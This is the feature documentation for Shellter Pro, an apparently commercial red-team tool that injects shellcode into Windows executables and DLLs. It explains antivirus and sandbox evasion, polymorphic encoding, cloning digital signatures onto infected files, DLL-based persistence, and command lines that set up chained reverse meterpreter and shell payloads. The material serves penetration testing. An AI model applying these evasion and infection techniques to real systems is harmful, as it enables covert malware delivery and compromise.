Intro

This document provides an overview of the exclusive features added in Shellter Pro.

For more details about how to use these features, run Shellter using the -h argument, and/or take a look at the available walk-through demos. These are available in the official website: www.ShellterProject.com.

If you still need to know more about a specific feature, send an email to support@shellterproject.com.

Shellter Pro 3.x - Additional Features

Enhanced Anti-AV Signature Technology

Several parts of the payload hiding, encoder, and obfuscation engines have been updated for this release.

These updates make writing AV signatures for Shelltered binaries an even more challenging task.

Furthermore, the updates applied to all aforementioned engines allow them to take further advantage of the overall design and architecture of the infection engine of Shellter Pro.

Putting all these together, a natural balance of binary art is created to make this version of Shellter Pro the best release ever in terms of anti-AV signatures technology.

Even though, we can't disclose much regarding these updates, and maybe for that reason this section might not look very shiny, a lot of work was put around this subject, and you can bet that it will make a huge difference based on any previous version of Shellter.

In other words, this is a very modest presentation of, probably, the most important updates ever applied in Shellter.

Large Payloads Support

What about being able to inject full stageless meterpreter payloads and other custom-built DLLs without much hassle?

Now you can!

Some parts of the injection engine has been re-engineered to allow more flexibility with regards to the size of the payload(s) that can being injected into a binary. This is an optional feature and doesn't have to be enabled all the time as explained below.

Shellter Pro will now offer the option to enable large payloads support. In fact, you will be able to inject payloads that are up to 4MBs each, when this feature is enabled.

Well, you won't have to use anything that big, but now you can just do it.

Generally speaking, the total size of the payload(s) that can be injected is not limited anymore by the size of the target binary, while keeping the rest of the dynamic features intact.

Note that, this feature will not be supported by any target binary, but we expect it to be by most of them.

Shellter Pro will let you know once you choose the target binary, so there is nothing to worry about.

You can also check if a binary supports this feature by running Shellter Pro with the following arguments: **--f <targetBinary> --check**

This new feature also favors a lot the already existing feature of supporting injection of a DLL that exports a reflective loader function, directly inside another binary.

By having the ability to inject larger payloads, you can have you own custom DLLs with more functionality built-in and use directly those, thus not relying only on the well-known meterpreter anymore.

Finally, keep in mind that you don't have to use this feature all the time.

In general, if you use the built-in stagers and other custom payloads that are around a few hundred bytes or slightly larger, you shouldn't have to enable big payloads support for most binaries, even if they support it.

In other words, in case your target binary does not support this new feature, it doesn't mean that you can't inject a payload to it.

Note that, by not enabling this this feature Shellter Pro will fall back to the original injection method. So nothing is lost and/or permanently changed. We just offer more flexibility.

In addtion, keep in mind that there are also other factors that might affect what is the overall size of data that can be injected into a binary even if large payloads support has been enabled.

For example, adding a lot of junk polymorphic code and/or adding too many encoding iterations increase the overall size of the data.

In general, though, Auto mode will automatically handle everything for you quite well.

Finally, if you want to enable this feature through command line, then just add **-l or --largePayload** arguments.

Upgraded Encoder

Shellter Pro will now support multiple layers of encoding for both embedded and custom payloads.

This allows the user to encode multiple times on the fly a payload during injection as there is no need to only rely on 'Standalone Encoder' functionality anymore for multi-layered encoding.

The 'Standalone Encoder' feature was added in Shellter Pro v1.0, but it could only be used for custom payloads as a standalone feature and not during injection.

Of course, that functionality also remains as it can be used to encode a custom payload and then use it with other tools as well.

By using the upgraded encoder you can now use multi-layered encoding also during the normal Shellter Pro operation.

When this new feature is used from Manual Mode, allows the user to customize every single encoding layer.

On the other hand, when Auto Mode is used, which is the recommended mode for most users, Shellter Pro will just ask the user for a number of encoding layers and the rest will be taken care of by the tool itself.

To use this feature from command line have a look at the following two examples that use the already supported '--encode' argument.

i. --encode -i 3

In this example, the payload(s) will be encoded with 3 randomly generated encoding schemes.

ii. --encode {+X!+} -i 3

In this example, the payload(s)will be encoded with three layers using the defined encoding sequence which is: Addition, Xor, Not, Addition.

In both cases the keys are randomly generated and they will always be different for each layer.

Furthermore, the encoding engine will now use multiple keys for each encoding layer, when DTCK is not used. To learn more about DTCK feature read the generic Shellter documentation.

In a few words each operation that requires a key such as Addition, Subtraction, and Xor, will be assigned a different key.

This allows both the automated decoder generation and the user to define more combinations of encoding operations that previously were rejected.

For example, since in previous versions each encoding layer had just a separate but single unique key, operations that would cancel themselves in sequence were not allowed, such as two Xor operations coupled together.

However, with the latest updates applied in the encoder since each operation is assigned its own key, it is possible to have Xor operations, and Addition-Subtraction operations in sequence.

Combining the multiple keys and the capability of having more combinations of encoding operations, the polymorphic features of the encoding engine have been increased even further.

Note that, additional encoding layers also increase the overall size of the data that will injected in the target binary, which might affect availability of injection locations after the last stage filtering.

However, this will be remediated in most cases by the other newly introduced feature that allows big payloads support.

CertPlay

This feature allows Shellter Pro to save, restore, and re-use the certificates table from PE targets that are digitally signed.

Shellter Pro will now create a directory called *"ShellterPro_CRTs"* and will store there the certificate table of the PE file that is currently infecting, if that is signed.

By default, Shellter removes the digital signature and other artifacts from the PE header that indicate that the PE file was signed.

With this new functionality, the user is now able to optionally either restore the digital signature of the target PE file once the payload injection has been completed, and/or use the digital signature of another signed PE target that was previously saved in the aforementioned directory.

This new feature makes an infected PE file to appear as digitally signed which in many cases can increase the chances of evading certain AV products.

Results may vary, depending on the AV and/or other similar products that you are dealing with. We had this feature in our list for long time and since in the end we got some interesting results by testing it, we decided to incorporate it.

If you use Shellter Pro via command line arguments, the corresponding arguments are ***--certRestore*** and ***--certEmbed <CertFileName>*** if you want to add another digital signature instead of restoring the original one if the PE target is signed.

Of course, if the PE target is not signed, then the first argument will not have any effect as there won't be a certificate table to be restored.

If you want to make an infected PE file that was not originally signed, to appear as such then use the second argument and point it to a previously saved certificate table file located in the *"ShellterPro_CRTs"* directory.

Feel free to experiment with this cool feature.

MSF Console Scripts Generator

This feature enhances further the automation capabilities of Shellter Pro for advanced users that enjoy using Shellter Pro via customised scripts. This feature was suggested by one of our users.

When you use some of the embedded metasploit stagers, Shellter Pro will now create an MSF console script file (.rc) which allows the user to automatically configure the listeners based on the options used during injection.

An MSF console script file will be generated every time you use one or more of the following embedded stagers:

1. Meterpreter_Reverse_TCP
2. Meterpreter_Reverse_TCP_DNS

3. Meterpreter_Reverse_HTTP
4. Meterpreter_Reverse_HTTPS
5. Meterpreter_Reverse_WINHTTP
6. Meterpreter_Reverse_WINHTTPS
7. Shell_Reverse_TCP
8. Shell_Reverse_TCP_DNS

Scripts are saved inside the *"ShellterPro_MSF"* directory which is created in the installation directory of Shellter Pro.

This feature also helps the user to avoid common mistakes when setting up the listeners according to the options that were used.

For example, when 'Stealth Mode' is used which preserves the original functionality of the infected binary, then the multi-handler exploit exit function must be set to 'thread' to avoid killing the application's process.

By using this new feature, Shellter Pro will generate an MSF console script with the correct configuration so mistakes as those mentioned above can be avoided, while the user can automate more stages of Shellter Pro usage.

Finally, when you use the multi-payload chaining feature, Shellter Pro will generate a script file that is able to configure all the listeners at once.

Note, that you can still use any payload combination, however if a payload is not one of the aforementioned ones, or it's a custom one loaded from a file, then there will be no entry for it added in the script.

To use the generated script file (.rc) just do **"msfconsole -r <ScriptFile>"**

Execution Flow Tracing Using Executable-Specific Arguments

This is an **experimental** feature, suggested by one of our users, that allows to trace the execution flow of an executable by using also specific arguments supported by the executable itself.

This allows to perform even more dynamic injection that can be potentially triggered only when the infected binary is launched by using the same arguments.

As you understand, this feature can be a great weapon against automatic analysis sandboxes, and AV emulation engines in general, as the payload will not be reached unless the correct arguments have been used.

However, as already mentioned this is an **experimental** feature, and for that reason don't expect it to work as intended with any executable that supports command line arguments.

Technically, this is also because a feature as such highly depends on what the executable is doing with those arguments and at what extent and how the execution flow changes based on those.

That being said, this is a great feature to play with, and if you get some executables that are compatible with it, you are probably going to win epicly in your next AV encounter.

Keep in mind that this feature is highly oriented to advanced users.

For the reasons mentioned above, this feature is only available through Manual Mode as it requires further customization of the various stages along with advanced knowledge and understanding of how Shellter Pro works.

This feature is not available if you enable Stealth Mode which is used in order to preserve the original functionality of an application which can be used in advanced Red Team scenarios to trick a user that a trusted application works as intended.

Keep reading if you are still interested to play with this feature.

Note that any recommendations mentioned here should not be taken as a rule of thumb.

Experimenting is the key.

When this feature is used you must not interrupt the tracing stage. If the target application shows a messagebox etc...then wait for Shellter Pro to handle this and proceed by itself.

In other words don't try to close the messagebox or any sort of appearing application-window yourself.

Furthermore, you might want to try initially to not obfuscate every single stage but keep the injection at a minimum size possible.

This can be achieved by defining your own short encoding sequence when Shellter Pro asks you to do so, and by not obfuscating the decoder and the chosen IAT Handler.

That being said, multi-layer encoding is disabled when you use this feature.

And of course, using stager payloads that are small in size will you help a lot while experimenting with this feature.

Just keep in mind that these are just usage tips.

Finally, as mentioned already, this is an experimental feature and for that reason we might further improve it in the future as we think that it could enhance AV evasion results.

Shellter Pro 2.x - Additional Features

Dynamic Payload Injection in DLLs

Shellter Pro will now also support DLL files for payload delivery.

This gives an extra boost to the AV evasion capabilities of Shellter Pro, since the user can now infect legitimate DLL files as well.

This feature fully respects the concepts on top of which Shellter was built and does not compromise any of them in any way. It supports all the existing features of Shellter Pro that you know about.

Furthermore, by having the ability to work with DLL files it makes it a lot easier to bypass application white-listing and other similar restrictions under certain scenarios.

So here it is how it works...

If you submit a DLL file as the PE target to inject your shellcode, Shellter Pro will enumerate and display functions that are exported by name from this DLL file. You can then choose which one to infect.

What happens in the background is that the tracer will feed this DLL to rundll32.exe Windows module and will only trace the execution flow that will occur inside the target DLL file. Once the chosen function is reached, tracing will stop and you can proceed with the rest of the injection stage.

Of course, also an EFD file will be generated so if you want to re-use that DLL in the same way (infect same function), then next time you can do it a lot faster by loading the EFD file.

Note, that the shellcode might not always be injected exactly at the start of that function. Depending on the size of the code to inject the injection might also occur somewhere in the execution flow path in between the entry point and the target exported function.

Once your payload has been injected to the DLL, you can execute it on the target by calling rundll32 and point the execution to the chosen function.

Example: rundll32.exe <DllPath>,<FunctionName>

You can also use this new feature in a more advanced Red Team scenarios to demonstrate peristence by infecting a DLL of a legitimate application.

Since this a more targetted scenario, you will have to know which function the application calls first from that DLL and infect that one with Stealth Mode enabled.

Generally, this works great for dynamically linked DLLs since it is easier to spot which function the application will call first.

If you want to use this feature with Stealth Mode and statically linked DLLs, then you will have to do some extra analysis to know which function to infect to maintain the full functionality of the application without causing a crash.

Generally, it is not recommended to use DLLs that are statically linked, and you should avoid those also for the reason mentioned below.

In addition, you have to be aware of the fact that some DLLs might import functions from other-third party DLLs which are not normally found in a default Windows installation, and for that reason some DLLs cannot be used independently.

In that case the tracing will fail because the loaded target DLL will not be able to locate the necessary DLLs and initialize its IAT.

However, you can try to load the DLL from its original directory and use it with Stealth Mode to demonstrate persistence in Red Team scenarios, if the same application is installed in the target host. You can then replace the original Dll with the infected one.

Extra Command Line Arguments

i) --ExpFunc <FunctionName>
This argument defines the exported function to use for shellcode injection in DLL files, and it is necessary if the PE target is a DLL and no EFD file has been defined.

ii) --listExports
This argument is used to list the functions (and other symbols) exported by name from the DLL target.

Shellter Pro v1.x - Additional Features

Execution Flow Data Files

Time is important. We all know this very well.

Shellter Pro introduces the 'EFD' files. These are special files created by Shellter once the first stage filtering of the execution flow has been completed. They keep all the necessary information that Shellter needs to perform dynamic PE infection of the same quality without requiring to go through the tracing stage each time you want to use an application known to Shellter [3].

By completely eliminating the tracing stage for all your favorite PE targets, you get dynamic PE infection in a blink of an eye.
Combining this feature with command line usage makes Shellter Pro the best thing that can happen to you, whenever you need to deliver an executable on the target host, either directly or via office macros and powershell scripts.

Multi-Payload Chaining

Sometimes you might only have one shot. So why waste it by relying on a single payload?

Shellter Pro introduces a unique feature that allows the user to chain up to five payloads[1] in a single injection. Each payload will run independently on a separate thread, so if one fails it will not affect the others [2].
You can use this feature either from 'Auto' and 'Manual' mode in an interactive way or through the command line.

Note: Not to be confused with the multi-payload infection capability that is supported also in the standard build of Shellter. That one requires to re-start Shellter and repeat the entire injection process for each payload. Even though it could be useful, it's not as fast, effective and advanced as the Multi-Payload Chaining feature of the Pro build.

Command Line example:
"-p meterpreter_reverse_tcp --lhost <IP> --port <PORT> -p meterpreter_reverse_https --lhost <IP/DOMAIN> --port <PORT>"

More Built-In Payloads

In the context of time is money, Shellter Pro introduces a few extra built-in payloads.

Run 'shellter --list' to see all the built-in payloads.

New built-in payloads:

meterpreter_reverse_winhttp
meterpreter_reverse_winhttps
meterpreter_reverse_tcp_dns
shell_reverse_tcp_dns

PE File Size Increase

Size matters. Sometimes.

Shellter Pro introduces a unique feature that allows you to increase the size of the PE target, and there is a reason behind this. You can also use it through the command line by using the '--incSize' argument combined with the amount of data to add in kilobytes.

You would be surprised how many AV signatures rely on certain file size ranges in order to decide if the engine needs to dig deeper into a PE file or not. This, is not an effective solution by itself, but combined with the the rest of Shellter's features, it does give some extra value.

So where size is not an issue, adding a few extra kilobytes or maybe even 1-2 megabytes might make a huge difference under certain AV, and not only, scanners.

Standalone Encoder

Encoding your payload is extremely important, but you might want to use another method of delivery, or maybe you want to submit the payload to Shellter as an already encoded blob of data.

Shellter Pro, exposes its proprietary encoder generator to the user as a standalone feature. You can now instruct Shellter Pro to encode a custom payload saved in a file using either a randomly created encoding sequence, or just by defining your own encoding sequence (see the documentation about the supported encoding operators).

The standalone encoder can even take advantage of some of the polymoprhic code generation engine features by adding the '--polydecoder' parameter at the end of the command line.

The output will be a standalone encoded payload merged with a dynamically generated decoder.

-p: define the filename of the custom payload
-o: define the output filename.
--standaloneEncoder/--SE: enables this feature
-i: encoding iterations. min: 1, max: 10

--polydecoder: enables decoder obfuscation

Note: Parameters have to be passed in the exact same order, depending on which of the following cases you are using. It is not recommended to use many iterations when --polyDecoder has been set, but feel free to experiment.

Examples:
i) Encode the payload with a random sequence generated by Shellter.

```
shellter -p payloadFileName -o outputFileName --standaloneEncoder -i 1
```

ii) Encode the payload with a random sequence and obfuscate the decoder.

```
shellter -p payloadFileName -o outputFileName --standaloneEncoder -i 1 --polyDecoder
```

iii) Encode the payload with a user defined sequence.

```
shellter -p payloadFileName -o outputFileName --standaloneEncoder {+!x+} -i 1
```

iv) Encode the payload with a user defined sequence and obfuscate the decoder.

```
shellter -p payloadFileName -o outputFileName --standaloneEncoder {+!x+} -i 1 --polyDecoder
```

Fast PE Compatibility Check

A tool has to work, but it also needs to be as user-friendly as possible.
For this reason, Shellter Pro introduces a fast check against your chosen PE target, that you can easily use from command line.

Argument: --check

This is used in conjunction with the '-f' argument and its purpose is to provide a quick overview of which Shellter features are supported through the current PE target. This check is also automatically performed by Shellter Pro if you define more than one payloads through the command line.

example: shellter_pro -f target.exe --check

Output:

```
******************
* Supported Features  *
******************

IAT Handlers: YES
Stealth Mode: YES
MultiPayload: YES
```

Extra Command Line Arguments

Nobody likes typing long command lines.

For this reason Shellter Pro introduces a couple of extra arguments that can be used to bundle together multiple features in a single argument [4].

i) --polyAll
This enables both '--polyIAT' and '--polyDecoder'.
Note: '--handler IAT' and '--encode' have to be set, unless -s/--stealh is set.

ii) --polyExtra
This enables '--polyIAT', --polyDecoder' and '--Junk'.
Note: '--handler IAT' and '--encode' have to be set, , unless -s/--stealh is set.

Furthermore, a couple of shorter argument name aliases have been introduced:

i) --pd for --polyDecoder

ii) --pi for --polyIAT

You can still use the long argument names if you prefer.

Remarks

1. This may vary depending on the application's structure and the execution flow that has been traced. This feature is best used by chaining small chunks of shellcode, for example the usual metasploit stagers that are usually just a few hundred bytes of size.

2. This feature depends on how each payload handles some error conditions.

For example, if reverse_meterpreter_tcp fails to connect back to your listener it won't have any effect on the rest of the payloads. However, if you use a payload that doesn't handle a 'fail' condition and might lead to a null pointer dereference and so on, this will cause the application to crash, thus stopping also the rest of the payloads.

Furthermore, you need to ensure that you set the exit function to thread so that if you kill one of the sessions, that will not affect the others.

When using the standard meterpreter and reverse shell payload stagers, it is recommended to use those already embedded in Shellter, as the tool will set the exit function for you in the stager. However, you still have to set the exit function to thread in your multi-handler listener for each defined payload.

3. In order to take advantage of this feature you have to use the exact same copy of the original PE file.
Even in cases were you interrupted the shellcode injection at an early stage, this does not guarantee that the current PE file is intact. This happens because Shellter removes specific artifacts from the original PE file.
For example, Shellter will remove the digital signature and any other artifact that could be used to identify that the PE has been previously signed. For all the reasons explained above, it is recommended to always retrieve the original copy from the ShellterPro_Backups folder.

4. It is recommended that arguments related to obfuscation are always set at the end of the command line.

This is important because other features might enable by default some prerequisites for those to be used.

For example if '-s / --stealth' argument is used then '--handler IAT' and '--encode' are set automatically, which means that the user can just set '--polyExtra' instead of the following three arguments: --polyIAT, --polyDecoder, and --Junk.

The following two examples are setting up the same features, but the second is shorter.

Example: ShellterPro.exe -f target.exe -p winexec --cmd calc.exe -s --polyIAT --polyDecoder --Junk

Example: ShellterPro.exe -f target.exe -p winexec --cmd calc.exe -s --polyExtra

Enjoy,
Kyriakos Economou
Insainted Ltd - www.ShellterProject.com